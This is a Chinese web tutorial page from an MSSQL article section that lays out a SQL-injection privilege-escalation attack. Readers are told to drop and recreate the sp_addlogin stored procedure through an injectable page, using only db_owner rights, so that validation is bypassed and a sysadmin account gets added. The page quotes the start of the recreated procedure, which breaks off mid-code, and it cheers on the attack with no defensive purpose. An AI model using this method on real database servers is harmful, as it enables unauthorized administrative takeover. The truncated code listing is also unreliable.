繁體中文当前位置: 首页 > 图文教程 > 数据库 > MSSQL > SQL注入攻击通杀
- MSSQL
- 修复断电等损坏的SQL 数据库
- SQL 返回期间内的所有日期
- 数据库中的内容字段被挂马的替换方法 SQL注入
- 同一个sql语句 连接两个数据库服务器
- SQL Server 空值处理策略[推荐]
- sql2005 create file遇到操作系统错误5拒绝访问 错误1802
- SQL SERVER 删除重复内容行
- SQL SERVER 的SQL语句优化方式小结
- 数据库高并发情况下重复值写入的避免 字段组合约束
- 一个有趣的SQL命题 用一条语句切换BIT型的真假值
- AspNetPager分页控件 存储过程
- SQL Server自动生成日期加数字的序列号
- 远程连接局域网内的SQL Server 的方法
- 把数据批量插入具有Identity列的表的方法
- SQL Server 索引维护sql语句
- 从两种SQL表连接写法来了解过去
- SQLServer 循环批处理
- 从每个分类选择10条记录的sql语句
- SQLServer XML查询快速入门(18句话)
- 被遗忘的SQLServer比较运算符谓词
MSSQL 中的 SQL注入攻击通杀
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-10-30 浏览: 119 ::
收藏到网摘: n/a
不知道大家看过这篇文章没有，可以在db_owner角色下添加SYSADMIN帐号，这招真狠啊，存在MSSQL注射漏洞的服务器又要遭殃了。方法主要是利用db_owner可以修改sp_addlogin和sp_addsrvrolemember这两个存储过程，饶过了验证部分。具体方法如下:先输入drop procedure sp_addlogin,然后在IE里面输入create procedure sp_addlogin
@loginame sysname
,@passwd sysname = Null
,@defdb ; ; sysname = ’master’ -- UNDONE: DEFAULT
CONFIGURABLE???
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret int -- return value of sp call
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,’sp_addlogin’)
return (1)
end
-- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
return (1)
if (charindex(’\’, @loginame) > 0)
begin
raiserror(15006,-1,-1,@loginame)
return (1)
end
--Note: different case sa is allowed.
if (@loginame = ’sa’ or lower(@loginame) in (’public’))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default
language
if @deflanguage is null
select @deflanguage = N’us_english’
end
-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end
-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = ’skip_encryption_old’
begin
select @xstatus = @xstatus&nb
评论 (0) All
